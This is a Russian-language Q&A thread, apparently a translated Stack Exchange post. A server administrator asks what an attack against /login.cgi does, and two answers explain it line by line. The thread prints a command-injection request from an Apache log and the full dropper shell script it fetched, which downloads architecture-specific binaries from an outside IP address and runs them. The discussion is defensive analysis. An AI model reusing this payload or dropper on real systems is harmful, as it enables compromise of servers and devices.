30

В последнее время я замечал на своих серверах логи apache, следующие странные строки:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Поэтому я создал собственный фильтр Fail2Ban и начал блокировать IP-адреса, запрашивающие эти /login.cgi URL-адреса.

Но мне было любопытно, что они пытались сделать, поэтому я вытащил сценарий, который они пытаются выполнить, и я не могу понять, что именно он делает. Что-нибудь об удалении архивных папок в /var и /tmp?

Во всяком случае, вот оно:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done

2 ответа2

42

Построчно:

#!/bin/sh

Устанавливает оболочку sh зависимости от линии Шебанга. sh%20/tmp/ks в запросе переопределяет это, поэтому эта строка обрабатывается как обычный комментарий и игнорируется.

u="asgknskjdgn"

Объявляет произвольное имя, предположительно, чтобы избежать столкновения с другими именами файлов. Я не уверен, почему они не просто используют mktemp , но, возможно, это доступно не на всех платформах.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Перечисляет несколько распространенных архитектур ЦП.

http_server="80.211.173.159"
http_port=80

Сервер, на котором есть эксплойт.

cd /tmp/||cd /var/

Пытается изменить каталог, где ваш веб-сервер может создавать файлы. Я верю, что SELinux поможет с этим, установив гораздо более строгие правила относительно того, что может делать веб-сервер, чем файловая система сама по себе.

for name in $bin_names
    do

Для каждой архитектуры процессора ...

    rm -rf $u

Удаляет ранее опробованные программы. Не нужно из-за следующей строки, поэтому можно игнорировать.

    cp $SHELL $u

Копирует текущий исполняемый файл оболочки (/bin/sh). Может быть проигнорировано из-за строки после следующего.

    chmod 777 $u

Предоставляет всем пользователям полный доступ к новому файлу. Это должно было произойти после команды wget , которая является либо признаком новичка в сценариях оболочки, либо техникой неверного направления.

    >$u

Опорожняет файл. Бессмысленно из-за следующей строки.

    wget http://$http_server:$http_port/$name -O -> $u

Перезаписывает файл сценарием эксплойта для этой архитектуры. -O -> $u мог быть записан -O - > $u (дефис указывает, что загрузка должна быть записана в стандартный вывод), что эквивалентно -O $u .

    ./$u $name

Запускает скрипт эксплойта с архитектурой в качестве первого аргумента.

done

Завершает цикл.

Похоже, что это тривиальный сценарий попытки эксплойта, пытающийся использовать известные эксплойты на разных процессорных платформах Я не знаю, почему он три раза перезаписывает $u , но эти операции могут просто остаться от более ранней итерации сценария. Предположительно, в более ранней версии эксплойты были жестко запрограммированы, а не динамически обслуживаются - первая проще, но почти гарантирует, что скрипт будет менее эффективен со временем, так как исправляются ошибки.

12

wget является ключевой опасной линией.

Имя for name in $bin_names работает со списком платформ и для каждой платформы очищает временный каталог, копирует оболочку, а затем делает ее доступной для всех.

Затем он загружает файл с помощью wget а затем выполняет его, используя программу оболочки, которую только что скопировал.

Сценарий в основном пытается загрузить серию исполняемых файлов или сценариев для каждой возможной платформы и втирать их в вашу систему в надежде на дальнейшую угрозу вашей системе.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .